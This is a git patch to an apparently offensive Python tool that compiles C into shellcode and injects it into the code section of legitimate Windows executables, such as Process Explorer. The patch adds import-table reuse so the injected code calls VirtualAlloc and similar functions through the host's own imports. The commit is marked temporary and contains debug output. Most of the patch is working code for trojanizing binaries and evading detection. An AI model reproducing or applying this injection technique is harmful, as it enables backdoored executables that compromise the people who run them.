From d7c8e1525f03c8ac856fce40e8aeb5fe50bed522 Mon Sep 17 00:00:00 2001 From: Dobin Date: Fri, 9 Feb 2024 13:43:42 +0000 Subject: [PATCH] feature: iat support tmp --- helper.py | 49 ++++++++++++++++++++++++++++++++++++++++++++++ pehelper.py | 34 ++++++++++++++++++++++++++++++-- phases/asmtoshc.py | 31 +---------------------------- phases/ctoasm.py | 32 +++++++++++++++++++++++++----- phases/shctoexe.py | 49 ++++++++++++++++++++++++++++++++++++++++++++-- supermega.py | 24 ++++++++++++++++------- 6 files changed, 173 insertions(+), 46 deletions(-) diff --git a/helper.py b/helper.py index 1b7a1d6..07225a6 100644 --- a/helper.py +++ b/helper.py @@ -4,6 +4,7 @@ import time import shutil import pathlib import sys +import pefile from config import config @@ -15,6 +16,54 @@ verify_filename = r'C:\Temp\a' build_dir = "build" +def remove_trailing_null_bytes(data): + for i in range(len(data) - 1, -1, -1): + if data[i] != b'\x00'[0]: # Check for a non-null byte + return data[:i + 1] + return b'' # If the entire sequence is null bytes + + +def get_code_section(pe_file): + try: + # Load the PE file + pe = pefile.PE(pe_file) + + # Iterate over the sections + for section in pe.sections: + # Check if this is the code section + if '.text' in section.Name.decode().rstrip('\x00'): + data = section.get_data() + data = remove_trailing_null_bytes(data) + print(" > 0x{:X} Code Size: {} (raw code section size: {})".format( + section.VirtualAddress, + len(data), section.SizeOfRawData)) + return data + else: + print("Code section not found.") + + except FileNotFoundError: + print(f"File not found: {pe_file}") + except pefile.PEFormatError: + print(f"Invalid PE file: {pe_file}") + + +def write_code_section(pe_file, new_data): + # Load the PE file + pe = pefile.PE(pe_file) + + # Iterate over the sections + for section in pe.sections: + # Check if this is the code section + if '.text' in section.Name.decode().rstrip('\x00'): + file_offset = section.PointerToRawData + + with open(pe_file, 'r+b') as f: + f.seek(file_offset) + f.write(new_data) + print("Successfully overwritten the .text section with new data.") + break + + def clean_files(): print("--[ Remove old files ]") diff --git a/pehelper.py b/pehelper.py index 37a0371..1cfc451 100644 --- a/pehelper.py +++ b/pehelper.py @@ -1,5 +1,30 @@ import sys import pefile +import pprint +from keystone import Ks, KS_ARCH_X86, KS_MODE_64 +from capstone import Cs, CS_ARCH_X86, CS_MODE_64 + + +def assemble_and_disassemble_jump(current_address, destination_address): + print("Make jmp from 0x{:X} to 0x{:X}".format( + current_address, destination_address + )) + # Calculate the relative offset + # For a near jump, the instruction length is typically 5 bytes (E9 xx xx xx xx) + offset = destination_address - current_address + + # Assemble the jump instruction using Keystone + ks = Ks(KS_ARCH_X86, KS_MODE_64) + encoding, _ = ks.asm(f"call qword ptr ds:[{offset}]") + machine_code = bytes(encoding) + + # Disassemble the machine code using Capstone + cs = Cs(CS_ARCH_X86, CS_MODE_64) + disassembled = next(cs.disasm(machine_code, current_address)) + + print(f"Machine Code: {' '.join(f'{byte:02x}' for byte in machine_code)}") + print(f"Disassembled: {disassembled.mnemonic} {disassembled.op_str}") + return machine_code def extract_iat(pe): @@ -14,6 +39,8 @@ def extract_iat(pe): dll_name = entry.dll.decode('utf-8') imp_name = imp.name.decode('utf-8') imp_addr = imp.address + #pprint.pprint(imp.keys()) + #print(type(imp)) #print("{} {} - 0x{:08X}".format( # dll_name, @@ -47,8 +74,11 @@ def resolve_iat_capabilities(needed_capabilities, inject_exe): print("IAT: ") for cap in needed_capabilities: - needed_capabilities[cap] = get_addr_for(iat, cap) - print(" {}: {}".format(cap, needed_capabilities[cap])) + needed_capabilities[cap] = { + "id": None, + "addr": get_addr_for(iat, cap), + } + #print(" {}: {}".format(cap, needed_capabilities[cap])) diff --git a/phases/asmtoshc.py b/phases/asmtoshc.py index d820be8..0ccb815 100644 --- a/phases/asmtoshc.py +++ b/phases/asmtoshc.py @@ -1,4 +1,5 @@ import pefile +import pprint from helper import * from config import config @@ -26,33 +27,3 @@ def make_shc_from_asm(asm_file, exe_file, shc_file): return code #print("---[ Shellcode from {} written to: {} (size: {}) ]".format(exe_file, shc_file, len(code))) - - -def get_code_section(pe_file): - try: - # Load the PE file - pe = pefile.PE(pe_file) - - # Iterate over the sections - for section in pe.sections: - # Check if this is the code section - if '.text' in section.Name.decode().rstrip('\x00'): - data = section.get_data() - data = remove_trailing_null_bytes(data) - print(" > Code Size: {} (raw code section size: {})".format( - len(data), section.SizeOfRawData)) - return data - else: - print("Code section not found.") - - except FileNotFoundError: - print(f"File not found: {pe_file}") - except pefile.PEFormatError: - print(f"Invalid PE file: {pe_file}") - - -def remove_trailing_null_bytes(data): - for i in range(len(data) - 1, -1, -1): - if data[i] != b'\x00'[0]: # Check for a non-null byte - return data[:i + 1] - return b'' # If the entire sequence is null bytes diff --git a/phases/ctoasm.py b/phases/ctoasm.py index fece0a8..dbb71c0 100644 --- a/phases/ctoasm.py +++ b/phases/ctoasm.py @@ -1,5 +1,7 @@ from helper import * from config import config +import os +import pprint def make_c_to_asm(c_file, asm_file, payload_len, exe_capabilities): @@ -52,10 +54,25 @@ def make_c_to_asm(c_file, asm_file, payload_len, exe_capabilities): return asm +def bytes_to_asm_db(byte_data): + # Convert each byte to a string in hexadecimal format suffixed with 'h' + hex_values = [f"0{byte:02x}H" for byte in byte_data] + # Join the hex values into a single string with ', ' as separator + formatted_string = ', '.join(hex_values) + return "\tDB " + formatted_string + + def fixup_asm_file(filename, payload_len, exe_capabilities): - with open(filename, 'r') as asmfile: + with open(filename, 'r', encoding='utf-8') as asmfile: lines = asmfile.readlines() + #pprint.pprint(exe_capabilities) + + # FUCK + for idx, line in enumerate(lines): + if "jmp\tSHORT" in lines[idx]: + lines[idx] = lines[idx].replace("SHORT", "") + # do IAT reuse for idx, line in enumerate(lines): # Remove definition: @@ -72,10 +89,15 @@ def fixup_asm_file(filename, payload_len, exe_capabilities): if func_name not in exe_capabilities or exe_capabilities[func_name] == None: print("Capabilities not: {}".format(func_name)) else: - func_addr = exe_capabilities[func_name] - lines[idx] = "\tcall rax\r\n" - lines.insert(idx, "\tmov rax, [rax]\r\n") - lines.insert(idx, "\tmov rax, {:X}H\r\n".format(func_addr)) + randbytes = os.urandom(6) + lines[idx] = bytes_to_asm_db(randbytes) + "\r\n" + exe_capabilities[func_name]["id"] = randbytes + #func_addr = exe_capabilities[func_name] + #lines[idx] = "\tcall main\r\n" + + #lines[idx] = "\tcall rax\r\n" + #lines.insert(idx, "\tmov rax, [rax]\r\n") + #lines.insert(idx, "\tmov rax, {:X}H\r\n".format(func_addr)) #print(" > Replace__imp_MessageBoxW at line: {}".format(idx)) #lines[idx] = lines[idx].replace("__imp_MessageBoxW", "ds:[0x123]") diff --git a/phases/shctoexe.py b/phases/shctoexe.py index 3a6d72c..2913db5 100644 --- a/phases/shctoexe.py +++ b/phases/shctoexe.py @@ -1,8 +1,9 @@ from helper import * import shutil +import pprint +from pehelper import * - -def inject_exe(shc_file, exe_in, exe_out, mode): +def inject_exe(shc_file, exe_in, exe_out, mode, exe_capabilities): print("--[ Injecting: {} into: {} -> {} ]".format( shc_file, exe_in, exe_out )) @@ -18,6 +19,50 @@ def inject_exe(shc_file, exe_in, exe_out, mode): ], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) + # get code section + # get offset from start of code + # get offset of code setion? + + #### + print("-------------") + #pprint.pprint(exe_capabilities) + for cap in exe_capabilities: + print("-> 0x{:X}\t\t{}".format( + exe_capabilities[cap]["addr"], + cap, + #exe_capabilities["id"], + )) + print("-------------") + code = get_code_section(exe_out) + + # replace IAT in shellcode + for cap in exe_capabilities: + #print("AAAA: " + str(cap)) + if not exe_capabilities[cap]["id"] in code: + print("Not found, abort") + raise Exception() + + off = code.index(exe_capabilities[cap]["id"]) + current_address = off + 0x140000000 + 4096 + + print(" Off: 0x{:X}".format(off)) + print(" Off2: 0x{:X}".format(current_address)) # base addr + #print(" Diff: 0x{:X}".format()) + + destination_address = exe_capabilities[cap]["addr"] + + jmp = assemble_and_disassemble_jump( + current_address, destination_address + ) + print("ONE: {}".format(jmp)) + print("TWO: {}".format(exe_capabilities[cap]["id"])) + + print("Found! replacing") + code = code.replace( + exe_capabilities[cap]["id"], jmp) + write_code_section(exe_out, code) + + def verify_injected_exe(exefile): print("---[ Verify infected exe: {} ]".format(exefile)) # remove indicator file diff --git a/supermega.py b/supermega.py index 3513cd1..d51a6e3 100644 --- a/supermega.py +++ b/supermega.py @@ -84,16 +84,18 @@ options_verify = { # injecting into exe "inject_exe": True, "inject_mode": "1,1", - "inject_exe_in": "exes/procexp64.exe", - "inject_exe_out": "out/procexp64-a.exe", + #"inject_exe_in": "exes/procexp64.exe", + "inject_exe_in": "exes/iattest-full.exe", + #"inject_exe_out": "out/procexp64-a.exe", + "inject_exe_out": "out/iatttest-full-a.exe", # For debugging: Can disable some steps "generate_asm_from_c": True, # phase 2 "generate_shc_from_asm": True, # phase 3 # cleanup - "cleanup_files_on_start": True, - "cleanup_files_on_exit": True, # all is just in out/ + "cleanup_files_on_start": False, + "cleanup_files_on_exit": False, # all is just in out/ # doesnt work "obfuscate_shc_loader": False, @@ -161,7 +163,9 @@ def start(options): # Check: Destination EXE capabilities exe_capabilities = { - "MessageBoxW": None, + #"MessageBoxW": None, + "GetEnvironmentVariableW": None, + "VirtualAlloc": None, } resolve_iat_capabilities(exe_capabilities, options["inject_exe_in"]) @@ -213,7 +217,8 @@ def start(options): if options["verify"]: print("--[ Verify final shellcode ]") if not verify_shellcode(main_shc_file): - return + print("Could not verify, still continuing") + #return if options["try_start_final_shellcode"]: print("--[ Test Append shellcode ]") @@ -225,7 +230,12 @@ def start(options): if options["inject_exe"]: debug_data["original_exe"] = file_readall_binary(options["inject_exe_in"]) - inject_exe(main_shc_file, options["inject_exe_in"], options["inject_exe_out"], options["inject_mode"]) + inject_exe( + main_shc_file, + options["inject_exe_in"], + options["inject_exe_out"], + options["inject_mode"], + exe_capabilities) if options["verify"]: print("--[ Verify final exe ]") if verify_injected_exe(options["inject_exe_out"]):